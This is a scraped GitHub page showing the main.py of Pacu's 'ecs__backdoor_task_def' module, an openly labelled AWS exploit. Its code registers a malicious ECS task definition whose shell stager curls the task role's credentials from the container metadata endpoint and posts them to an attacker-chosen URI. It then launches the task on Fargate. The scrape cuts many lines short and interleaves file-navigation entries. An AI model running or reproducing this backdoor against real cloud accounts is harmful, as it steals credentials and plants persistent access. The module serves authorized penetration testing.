RhinoSecurityLabs / pacu Public

Notifications Fork 693 Star 4.4k

Code Issues 21 Pull requests 5 Actions Projects Wiki Security Insights

Files

866376c

Go to file

- .github
- pacu
  - core
  - modules
    - acm__enum
    - api_gateway__create_api_keys
    - apigateway__enum
    - aws__enum_account
    - aws__enum_spend
    - cfn__resource_injection
    - cloudformation__download_data
    - cloudtrail__csv_injection
    - cloudtrail__download_event_hi...
    - cloudwatch__download_logs
    - codebuild__enum
    - detection__disruption
    - detection__enum_services
    - dynamodb__enum
    - ebs__download_snapshots
    - ebs__enum_volumes_snapshots
    - ebs__explore_snapshots
    - ec2__backdoor_ec2_sec_groups
    - ec2__check_termination_protec...
    - ec2__download_userdata
    - ec2__enum
    - ec2__startup_shell_script
    - ecr__enum
    - ecs__backdoor_task_def
      - main.py
    - ecs__enum
    - ecs__enum_task_def
    - eks__enum
    - elb__enum_logging
    - enum__secrets
    - glue__enum
    - guardduty__list_accounts

pacu / pacu / modules / ecs__backdoor_task_def / main.py

Ryan Gerstenkorn Support for packaging (#247) 743f9c9 · 3 years ago History

Code Blame 202 lines (164 loc) · 8.62 KB Raw

```python
#!/usr/bin/env python3
import argparse
from botocore.exceptions import ClientError
from random import choice
import os

# When writing a module, feel free to remove any comments, placeholders, or
# anything else that doesn't relate to your module.

module_info = {
    # Name of the module (should be the same as the filename).
    'name': 'ecs__backdoor_task_def',

    # Name and any other notes about the author.
    'author': 'Nicholas Spagnola from Rhino Security Labs',

    # Category of the module. Make sure the name matches an existing category.
    'category': 'EXPLOIT',

    # One liner description of the module functionality. This shows up when a
    # user searches for modules.
    'one_liner': 'this module backdoors ECS Task Definitions to steal credentials',

    # Full description about what the module does and how it works.
    'description': 'This module will enumerate a provided docker image and attempt to f

    # A list of AWS services that the module utilizes during its execution.
    'services': ['ECS'],

    # For prerequisite modules, try and see if any existing modules return the
    # data that is required for your module before writing that code yourself;
    # that way, session data can stay separated and modular.
    'prerequisite_modules': ['ecs__enum', 'ec2__enum'],

    # External resources that the module depends on. Valid options are either
    # a GitHub URL (must end in .git), or a single file URL.
    'external_dependencies': [],

    # Module arguments to autocomplete when the user hits tab.
    'arguments_to_autocomplete': ['--task-definition',
                                  '--cluster',
                                  '--uri',
                                  '--execution-role',
                                  '--subnet',
                                  '--security-group']
}

# Every module must include an ArgumentParser named "parser", even if it
# doesn't use any additional arguments.
parser = argparse.ArgumentParser(add_help=False, description=module_info['description']

# The two add_argument calls are placeholders for arguments. Change as needed.
# Arguments that accept multiple options, such as --usernames, should be
# comma-separated. For example:
#     --usernames user_a,userb,UserC
# Arguments that are region-specific, such as --instance-ids, should use
```

- guardduty__list_findings
- guardduty__whitelist_ip
- iam__backdoor_assume_role
- iam__backdoor_users_keys
- iam__backdoor_users_password
- iam__bruteforce_permissions

```python
# an @ symbol to separate the data and its region, for example:
#     --instance-ids 123@us-west-1,54252@us-east-1,9999@ap-south-1
# Make sure to add all arguments to module_info['arguments_to_autocomplete']
parser.add_argument('--task-definition', required=False, default=None, help='A task def
parser.add_argument('--cluster', required=False, default=None, help='Cluster ARN to hos
parser.add_argument('--uri', required=False, default=None, help='URI to send credential
parser.add_argument('--task-role', required=False, default=None,
                    help='ARN of task role, defaults to what is provided in the task de
parser.add_argument('--subnet', required=False, default=None,
                    help='Subnet ID to host task. Subnet and security group must be in
parser.add_argument('--security-group', required=False, default=None,
                    help='Security group Id to host task. Subnet and security group mus

def ask_for_task_role(default=None):
    task_role = input(f"Enter a task role to target ({str(default)})")

    if not task_role and not default:
        print("An explicit task role is required.")
        return ask_for_task_role()

    return task_role


# Main is the first function that is called when this module is executed.
def main(args, pacu_main):
    session = pacu_main.get_active_session()

    ###### These can be removed if you are not using the function.
    args = parser.parse_args(args)
    print = pacu_main.print
    input = pacu_main.input
    fetch_data = pacu_main.fetch_data

    summary_data = {"task_def": ""}

    if args.task_definition:
        task_definition = args.task_definition
    else:
        if fetch_data(['ECS', 'TaskDefinitions'], module_info['prerequisite_modules'][0
            print("    Pre req module not ran successfully. Exiting...")
            return None
        task_definitions = session.ECS.get('TaskDefinitions', [])
        for i in range(0, len(task_definitions)):
            print("    [{}]:{}".format(i, task_definitions[i]))
        task_def_input = int(input('    Enter the task definition ARN you are targeting
        task_definition = task_definitions[task_def_input]

    if task_definition:
        region = task_definition.split(":")[3]

        if fetch_data(['ECS', 'Clusters'], module_info['prerequisite_modules'][0], '--c
            print("    Pre req module not ran successfully. Exiting...")
            return None

        if not args.cluster:
            clusters = session.ECS['Clusters']
            for i in range(0, len(clusters)):
                print("    [{}]:{}".format(i, clusters[i]))
            cluster_input = int(input("    Provide a cluster to run this task definitio
            cluster = clusters[cluster_input]
        else:
            cluster = args.cluster



        stager = [
            '/bin/sh -c "curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_U
            '-d @data.json {}"'.format(uri)
        ]
        task_def_keys = [x for x in task_def['taskDefinition'].keys()]
        temp = task_def['taskDefinition']
        cont_def = temp['containerDefinitions'][0]
        cont_def['image'] = 'python:latest'
        cont_def['entryPoint'] = ['sh', '-c']
        cont_def['command'] = stager
        container_defs = [cont_def]

        task_role = ask_for_task_role(temp.get('taskRoleArn'))

        print("    Creating malicious task definition...")

        resp = client.register_task_definition(
            family=temp['family'],
            taskRoleArn=task_role,
            executionRoleArn=temp['executionRoleArn'] if 'executionRoleArn' in task_def
            networkMode='awsvpc',
            containerDefinitions=container_defs,
            volumes=temp['volumes'],
            placementConstraints=temp['placementConstraints'],
            requiresCompatibilities=temp['requiresCompatibilities'] if 'requiresCompati
            cpu=temp['cpu'] if 'cpu' in task_def_keys else '256',
            memory=temp['memory'] if 'memory' in task_def_keys else '512'
        )

        current_revision = resp['taskDefinition']['taskDefinitionArn']

        if args.subnet is None:
            if fetch_data(['EC2', 'Subnets'], module_info['prerequisite_modules'][1], '
                print("    Pre req module not ran successfully. Exiting...")
                return None
            subnets = session.EC2["Subnets"]
            for i in range(0, len(subnets)):
                print("    [{}]:{}::{}".format(i, subnets[i]["SubnetId"], subnets[i]["V
            subnet_choice = int(input("    Input subnet ID to run the task definition:
            subnet = subnets[subnet_choice]["SubnetId"]
        else:
            subnet = args.subnet

        if args.security_group is None:
            if fetch_data(['EC2', 'SecurityGroups'], module_info['prerequisite_modules'
                print("    Pre req module not ran successfully. Exiting...")
                return None
            security_groups = session.EC2["SecurityGroups"]
            for i in range(0, len(security_groups)):
                print("    [{}]:{}::{}".format(i, security_groups[i]["GroupId"], securi
            sg_choice = int(input("    Input the secuirty group to use: "))
            security_group = security_groups[sg_choice]["GroupId"]
        else:
            security_group = args.security_group

        client.run_task(cluster=cluster, launchType="FARGATE", networkConfiguration={
            "awsvpcConfiguration": {
                "subnets": [subnet],
                "securityGroups": [security_group],
                "assignPublicIp": "ENABLED"
            }}, taskDefinition=current_revision)

    else:
        print("    A task definition must be specified")
        return None

    summary_data["task_def"] = current_revision
    return summary_data


def summary(data, pacu_main):
    return "    Malicious task definition ARN: {}".format(data["task_def"])
```